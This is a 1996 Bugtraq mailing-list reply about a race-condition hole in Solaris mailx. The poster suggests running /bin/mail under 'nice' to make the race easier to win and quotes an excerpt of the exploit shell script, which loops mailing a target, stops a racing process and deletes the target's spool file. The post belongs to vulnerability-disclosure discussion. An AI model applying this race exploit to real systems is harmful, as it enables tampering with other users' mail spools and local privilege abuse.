Bugtraq mailing list archives

Re: Solaris mailx hole


From: rotten () bbnplanet com (Rick Otten)
Date: Wed, 3 Jul 1996 08:09:18 -0500


Seems to me that you could further increase the probability of winning this race
by running mail a little slower ("nice" it)...

...
# Send mail to the user
NEW_TARGET_LEN=$OLD_TARGET_LEN
while [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; do
       echo "Sending mail to $TARGET"

       echo "localhost $USER" | /bin/mail $TARGET
echo "localhost $USER" | nice /bin/mail $TARGET


       sleep 10
       kill -STOP $RACE_PID
       rm -f $SPOOLDIR/$TARGET >/dev/null 2>&1
       if [ -f $SPOOLDIR/$TARGET ]; then
               echo "$PROG: Sorry, we lost the race - cant try again."
               kill -9 $RACE_PID
...
Rick Otten
rotten () bbnplanet com
x4156
20/784A



Current thread: